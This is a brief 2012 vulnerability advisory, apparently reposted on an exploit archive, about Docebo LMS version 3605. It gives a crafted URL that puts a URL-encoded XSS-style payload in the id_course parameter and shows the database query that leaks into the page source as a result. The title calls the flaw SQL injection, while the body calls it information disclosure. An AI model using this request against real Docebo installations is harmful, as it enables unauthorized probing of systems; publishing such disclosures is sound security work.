Home / exploits Docebo LMS 3605 SQL Injection
Posted on 27 April 2012
[ TITLE ....... ][ Docebo LMS (docebo_3605.zip) [ DATE ........ ][ 15.04.2012 [ AUTOHR ...... ][ http://hauntit.blogspot.com [ SOFT LINK ... ][ http://www.docebo.com [ VERSION ..... ][ docebo_3605.zip [ TESTED ON ... ][ LAMP [ ----------------------------------------------------------------------- [ [ 1. What is this? [ 2. What is the type of vulnerability? [ 3. Where is bug :) [ 4. More... [--------------------------------------------[ [ 1. What is this? This is very nice CMS, You should try it! ;) [--------------------------------------------[ [ 2. What is the type of vulnerability? This is kind of information disclosure bug. Because of wrong validation, user can access 'error message' from Docebo. http://docebo/doceboLms/index.php?modname=coursecatalogue&op=courselist&id_course=%29%27%3e%27%3e%3cBODY%20onload!#$%%26%28%29%2a~%2b-_%2e,%3a%3b%3f@[%2f|%5c]^%60%3dalert%28%22XSS%22%29%3e&re=ok_subs (This is 'standard xss' attack from one of books about it. Anyway,) for this 'payload', we will see an error: "You can't access/lms/course/private/1/coursecatalogue/view". Sure, but when we'll check source of page, there is more: " <!-- SELECT count(idOrg) FROM learning_organization LEFT JOIN learning_organization_access ON ( learning_organization.idOrg = learning_organization_access.idOrgAccess ) WHERE (idCourse = '1') AND (idResource <> 0) AND (visible = '1') AND ( (learning_organization_access.kind = 'user' AND learning_organization_access.value = '1040') OR learning_organization_access.idOrgAccess IS NULL) -->You can't access/lms/course/private/1/coursecatalogue/view" Tadaaam :) [--------------------------------------------[ [ 3. Where is bug :) Information disclosure bug for vulnerable parameter: id_course. This parameter is getting value from id parameter from 1 request before. Check it. [--------------------------------------------[ [ 4. More... - http://hauntit.blogspot.com - http://www.docebo.com - http://www.google.com - http://portswigger.net [ [--------------------------------------------[ [ Ask me about new projects @ mail. ;) ] [ Best regards [
